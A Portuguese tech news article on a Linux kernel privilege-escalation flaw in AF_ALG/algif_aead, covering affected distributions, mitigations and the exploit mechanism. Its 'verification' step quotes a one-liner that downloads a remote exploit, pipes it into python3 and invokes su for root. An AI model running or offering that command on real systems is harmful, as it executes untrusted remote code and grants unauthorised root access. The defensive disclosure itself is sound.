Vulnerabilidade em otimização criptográfica concede privilégios de administrador a usuários locais desde 2017.
Descoberta Alarmante
Pesquisadores da Xint Code revelaram um exploit perigoso que concede acesso root instantâneo a qualquer usuário local não privilegiado. Um cenário de pesadelo para servidores multiusuário, ambientes de contêiner (Kubernetes) e pipelines CI/CD.
Abrangência e Impacto
- Ampla Afectação: Praticamente todas as distribuições Linux em uso desde 2017 estão vulneráveis.
- Distros Incluídas: Ubuntu 24, RHEL 10, Suse 16, Amazon Linux 2023 e até WSL2 do Windows.
- Requisito Mínimo: Apenas 732 bytes para explorar a falha.
- Não é Zero-Day: Um patch já foi lançado, mas o tempo para as distribuições reagirem foi curto.
Verificação e Mitigação
Como Verificar:
Execute “curl https://copy.fail/exp | python3 && su” com uma conta não privilegiada (cuidado com scripts online). O código-fonte do PoC está disponível se preferir.
Métodos de Mitigação:
- Módulo
algif_aead: Se carregado como módulo, adicione “echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf“. - Kernel Compilado: Para RHEL, WSL2 e outros, bloqueie a abertura de sockets AF_ALG via seccomp, AppArmor ou SELinux.
Divulgação Rápida
A equipe de segurança Xint Code não explicou a divulgação antecipada, mas mencionou o uso de uma IA. Como o código do kernel Linux é público, atacantes sérios poderiam encontrá-lo facilmente. Talvez a rapidez tenha sido uma necessidade.
Mecanismo do Exploit
O ataque é engenhoso:
- AF_ALG: Um socket usado para criptografar/descriptografar dados.
- Etapa de Ataque: Um executável (ex: “su”) é fornecido como “tag” através de um splice.
- Falha na Otimização: A função
algif_aead do kernel, em vez de copiar, encadeia os dados da tag diretamente ao buffer de saída por referência. - Corrupção em Memória: O algoritmo de criptografia “authencesn” escreve 4 bytes em um offset fixo no buffer de saída. Como a tag (“su”) faz parte desse buffer, esses bytes corrompem a cópia em cache do executável no kernel.
- Resultado: Ao chamar o executável corrompido, o acesso de administrador é concedido. Tudo ocorre na memória, sem escritas em disco detectáveis, superando muitas suítes de segurança.